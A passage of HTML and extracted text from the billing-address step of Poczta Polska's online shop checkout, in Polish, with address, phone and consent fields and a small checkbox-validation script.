                    <span>Hasło musi mieć jedną wielką literę, jedną małą literę, jedną cyfrę, znak specjalny, minimum 8 znaków.</span>
                  </p>
                </div>
              </div>
            </div>
            <div class="col-md-6">
              <div class="form-group">
                <label class="form-label" for="billingAddressAddressPhoneNumber"> Numer telefonu* </label>
                <input type="text" class="form-control" id="billingAddressAddressPhoneNumber" placeholder="Wprowadź numer telefonu..." name="billingAddress[phoneNumber]" value="" required="true">
                <p class="password-validation-info with-icon">
                  <em class="poczta-icon poczta-icon-info"></em>
                  <span>Numer telefonu potrzebujemy do realizacji zamówienia</span>
                </p>
              </div>
            </div>
            <div class="col-md-6"></div>
          </div>
          <div class="row">
            <div class="col-12">
              <div class="form-group">
                <label class="form-label" for="billingAddressAddressStreet"> Ulica i numer domu* </label>
                <input type="text" class="form-control" id="adr" placeholder="Wprowadź ulicę i numer domu..." name="adr" value="" data-form-validation-required="" data-form-validation-required-message="Pole Ulica i numer domu nie może być puste."
                  required="required">
              </div>
            </div>
            <div class="col-sm-4">
              <div class="form-group">
                <label class="form-label" for="billingAddressAddressZipcode"> Kod pocztowy<span id="zipcodeLabel">*</span>
                </label>
                <input type="text" class="form-control" id="billingAddressAddressZipcode" placeholder="Wprowadź kod pocztowy..." name="billingAddress[zipcode]" value="" data-input-name="zipcodeInput" data-zip-code-mask="true"
                  data-zip-code-mask-options="{&quot;polishCountryId&quot;:&quot;37454322ebde4940a1d518efe3f313e6&quot;}" inputmode="numeric" required="required">
              </div>
            </div>
            <div class="col-sm-8">
              <div class="form-group">
                <label class="form-label" for="billingAddressAddressCity"> Miejscowość* </label>
                <input type="text" class="form-control" id="billingAddressAddressCity" placeholder="Wprowadź miejscowość..." name="billingAddress[city]" value="" data-form-validation-required=""
                  data-form-validation-required-message="Pole Miejscowość nie może być puste." required="required">
              </div>
            </div>
          </div>
        </div>
        <div class="card mt-20">
          <style type="text/css">
            #gdpr-dialog {
              background-color: var(--color-white);
              border-radius: 4px;
              border: 1px solid var(--color-gray);
              z-index: 1;
            }
          </style>
          <label class="custom-poczta-checkbox data-protection-information">
            <input type="checkbox" class="wk-terms-checkbox" id="wk-term-check" name="gdprPolicy" value="1" required="">
            <span class="custom-poczta-checkbox-label no-validation">
              <a href="https://sklep.poczta-polska.pl/Regulaminy/Polityka-prywatnosci-i-cookies/" target="_blank">Wyrażam zgodę na przetwarzanie danych osobowych.</a> * </span>
          </label>
          <dialog id="gdpr-dialog"> Zapoznałem się i akceptuję Regulamin Sklepu internetowego Poczty Polskiej S.A. oraz regulaminami usług zamieszczonymi w zakładce <a href="https://ppsklep6.devrc.pl/Regulaminy/Regulamin-sklepu/">Regulaminy</a>.<br>
            <button type="button" id="close-gdpr-dialog" class="mt-20 btn btn-primary">close</button>
          </dialog>
          <script type="text/javascript">
            function makeInputInvalid(input) {
              if (input.parentElement.classList.contains('is-invalid')) {
                return;
              }
              if (input.parentElement.classList.contains('is-valid')) {
                input.parentElement.classList.remove('is-valid');
              }
              input.parentElement.classList.add('is-invalid');
              const message = document.createElement('small');
              message.innerText = 'Proszę zaznaczyć to pole';
              message.classList.add('text-danger', 'field-validation', 'mb-2', 'd-block');
              input.parentElement.insertAdjacentElement('afterend', message);
            }

            function makeInputValid(input) {
              if (input.parentElement.classList.contains('is-valid')) {
                return;
              }
              if (input.parentElement.classList.contains('is-invalid')) {
                input.parentElement.classList.remove('is-invalid');
              }
              input.parentElement.classList.add('is-valid');
              const parentElementSibling = input.parentElement.nextElementSibling;
              if (parentElementSibling !== null && parentElementSibling.classList.contains('field-validation')) {
                parentElementSibling.remove();
              }
            }

            function addOnChangeEvent(input) {
              input.onchange = () => {
                if (input.checked === true && input.parentElement.classList.contains('is-invalid')) {
                  makeInputValid(input);
                } else if (input.parentElement.classList.contains('is-valid')) {
                  makeInputInvalid(input);
                }
              };
            }
            window.onload = function() {
              const firstAgreement = document.getElementById('wk-term-check');
              const secondAgreement = document.getElementById('acceptedDataProtection');
              addOnChangeEvent(firstAgreement);
              addOnChangeEvent(secondAgreement);
              document.querySelector('.register-submit').querySelector('button').addEventListener('click', () => {
                if (firstAgreement.checked === true && secondAgreement.checked === true && secondAgreement.form.querySelectorAll(':invalid').length === 0) {
                  makeInputValid(firstAgreement);
                  makeInputValid(secondAgreement);
                  document.querySelector('.register-submit').querySelector('button').form.submit();
                  return;
                }
                if (firstAgreement.checked === false) {
                  makeInputInvalid(firstAgreement);
                } else {
                  makeInputValid(firstAgreement);
                }
                if (secondAgreement.checked === false) {
                  makeInputInvalid(secondAgreement);
                } else {
                  makeInputValid(secondAgreement);
                }
              });
            }
          </script>
          <div class="form-text privacy-notice">
            <label class="custom-poczta-checkbox data-protection-information">
              <input type="checkbox" class="" name="acceptedDataProtection" required="required" value="1" id="acceptedDataProtection">
              <span class="custom-poczta-checkbox-label no-validation"> Zapoznałem się i akceptuję <a href="https://sklep.poczta-polska.pl/Regulaminy/Regulamin-sklepu/" target="_blank"> Regulamin Sklepu Internetowego Poczty Polskiej S.A. </a> oraz
                regulaminy usług zamieszczone w zakładce Regulaminy. * </span>
            </label>
          </div>
        </div>
        <div class="card mt-20">
          <p class="register-required-info mb-0"> Pola oznaczone gwiazdką (*) są polami obowiązkowymi. </p>
        </div>
      </div>
    </div>
    <div class="checkout-aside ">
      <div class="sticky-sidebar checkout-sticky-sidebar">
        <div class="checkout-aside-container">
          <div class="card">
            <table class="checkout-summary-table">
              <tbody>
                <tr>
                </tr>
                <tr>
                  <th>Dostawa</th>
                  <td>12,00&nbsp;PLN</td>
                </tr>
                <tr class="total-price">
                </tr>
              </tbody>
            </table>
            <div class="register-submit">
              <button type="submit" class="btn btn-primary w-100"> Kontynuuj płatność </button>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <a href="https://sklep.poczta-polska.pl/checkout/cart" class="btn btn-primary-outline">
            <em class="poczta-icon poczta-icon-chevron-left"></em>
            <span>Wróć do koszyka</span>
        </a>
</form>

Text Content

Aby móc w pełnym zakresie korzystać z naszego sklepu, zalecamy włączenie obsługi
JavaScript w przeglądarce.
1
Koszyk
2
Adresy
3
Dostawa i płatność
4
Podziękowania
Krok nr 2: Adresy
Kategorie
Kategorie
 * Filatelistyka
 * Pakowanie i wysyłka
 * Prenumerata prasy
 * Szkolne i biurowe
 * Dla domu i ogrodu
 * Dla dzieci
 * Galanteria
 * Uroda
 * Upominki i gadżety
 * MójZNACZEK
 * Kryptowalory
 * Polecane produkty
 * Back to school 2024


DANE ROZLICZENIOWE


WPISZ DANE, NA KTÓRE MAMY WYSTAWIĆ FAKTURĘ

Osoba prywatna
Firma
Imię*
Nazwisko*
Kraj* Polska Albania Algieria Andora Antigua i Barbuda Arabia Saudyjska
Argentyna Armenia Aruba Australia Austria Azerbejdżan Bahamy Bahrajn Barbados
Belgia Belize Bermudy Białoruś Boliwia Bonaire, Sint Eustatius i Saba Bośnia i
Hercegowina Brazylia Burkina Faso Bułgaria Chile Chiny Chorwacja Curaçao Cypr
Czarnogóra Czechy Dania Dominika Dominikana Egipt Ekwador Estonia Falklandy
Fidżi Filipiny Finlandia Francja Gibraltar Grecja Gruzja Gujana Gujana Francuska
Gwatemala Gwinea Gwinea Bissau Gwinea Równikowa Haiti Hiszpania Holandia
Honduras Hongkong Indie Indonezja Irak Irlandia Islandia Izrael Jamajka Japonia
Kajmany Kamerun Kanada Katar Kenia Kolumbia Korea Południowa Kosowo Kostaryka
Kuba Kuwejt Liechtenstein Litwa Luksemburg Macedonia Północna Madagaskar Makau
Malediwy Malezja Malta Martynika Mauritius Meksyk Mikronezja Monako Mongolia
Moroko Mołdawia Nepal Niemcy Nigeria Nikaragua Norwegia Nowa Kaledonia Nowa
Zelandia Oman Pakistan Panama Papua-Nowa Gwinea Paragwaj Peru Polinezja
Francuska Portugalia Republika Południowej Afryki Republika Zielonego Przylądka
Rumunia Salwador San Marino Senegal Serbia Seszele Singapur Sri Lanka Stany
Zjednoczone Surinam Szwajcaria Szwecja Słowacja Słowenia Tajlandia Tajwan
Tanzania Trynidad i Tobago Tunezja Turcja Ukraina Urugwaj Watykan Wenezuela
Wielka Brytania Wietnam Wybrzeże Kości Słoniowej Wyspy Owcze Węgry Włochy Zambia
Zimbabwe Zjednoczone Emiraty Arabskie Łotwa
NIP


error.VIOLATION::CUSTOMER_VAT_ID_EMPTY_COUNTRY

Wprowadzony numer NIP nie figuruje w rejestrze VIES.

Brak połączenia z rejestrem VIES.

Pobierz dane firmy z GUS
Firma
Adres e-mail*

Nie zakładaj konta klienta.
Hasło*
Potwierdzenie hasła*

Hasło musi mieć jedną wielką literę, jedną małą literę, jedną cyfrę, znak
specjalny, minimum 8 znaków.

Numer telefonu*

Numer telefonu potrzebujemy do realizacji zamówienia


Ulica i numer domu*
Kod pocztowy*
Miejscowość*
Wyrażam zgodę na przetwarzanie danych osobowych. * Zapoznałem się i akceptuję
Regulamin Sklepu internetowego Poczty Polskiej S.A. oraz regulaminami usług
zamieszczonymi w zakładce Regulaminy.
close
Zapoznałem się i akceptuję Regulamin Sklepu Internetowego Poczty Polskiej S.A.
oraz regulaminy usług zamieszczone w zakładce Regulaminy. *

Pola oznaczone gwiazdką (*) są polami obowiązkowymi.

Dostawa 12,00 PLN

Kontynuuj płatność
Wróć do koszyka
Copyright © 2024 Poczta Polska SA Regulamin sklepu Mapa strony


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